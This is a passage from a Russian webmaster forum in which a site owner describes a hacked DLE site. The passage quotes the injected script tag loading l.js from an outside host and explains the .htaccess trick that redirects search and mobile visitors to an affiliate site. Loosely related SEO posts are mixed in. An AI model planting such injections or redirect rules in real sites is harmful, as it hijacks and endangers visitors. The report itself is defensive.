А так можно было?)
да - все, что было в базе связано с модулем было снесено тоже
Подтверждаю, что есть этот взлом.
Причем http://jahpoker.ru/l.js - сам сайт тоже взломан.
Все сайты по цепочки работают. На моем сайте тоже был d.js - физически его не было на сайт.ру/d.js
но при переходе в браузере по ссылке сайт.ру/d.js открывалось содержание файла.
Они прописывают правило в .htaccess , что любое слово перед .js открывает файл /engine/editor/tiny.js
Тут http://jahpoker.ru/engine/editor/tiny.js как раз это и открывается.
Получается мой сайт физически имеет файл, который перенаправляет пользователей, если те пришли с поисковых систем на сайт парнерки. Возможны варианты только с мобильной версией сайта - если переход осуществляется с мобильника т.к. в .htaccess были прописаны какие-то правила и для мобильных клиентов. В index.php моего сайта встроен вызов <script src=http://jahpoker.ru/l.js></script>
В другие сайты встраивали <script src=http://название моего сайта.ru/d.js></script>.
Стоял модуль переходов без заплат. Снес его.
Переехал на другой хостинг. Поменял все пароли от почт. Пока полет нормальный - ничего лишнего не встраивается. Лишнего нет, но <script src=http://jahpoker.ru/l.js></script> так и остался.
Не могу найти где запрятался зверек, т.к. в index.php уже ничего лишнего не прописано.
Так же странно, что на площадке размещено около 15 сайтов и все DLE - различных версий от 8 до 9.3 - но взлому поддержан был только один. Самый посещаемый.
gruppastimul добавил 18.08.2011 в 13:02
В итоге гадость прописали уже банально в main.tpl (<script src=http://jahpoker.ru/l.js></script>)
Вы про это ?
Где работа велась - страницы в +
Где ничего не добавлялось/изменялось в -
По позициям +- 1/2 почти по всем проектам
на основе него и делался этот модуль к DLE
Это легко и автоматически делается из панелей администрирования - переносом доменов собственноручно ;)
Zonk, давайте попробую : gruppastimul
У меня есть такой вариант
gruppastimul добавил 27.06.2011 в 13:59
ORIGAMMI
На вашем скрине не особо видно, о каком меню идет речь.
Хотя бы вот так:
Страницы в плюсе на уникальном контенте.
Полностью копи-пастовый сайт страницы вылетели. Осталась 1/3 от раньше проиндексированных.
Копи-паст с добавлением своего текста +1900 страниц в индекс.
Бэков прилично добавилось.
Позиции по ВЧ +- от 1 до 24
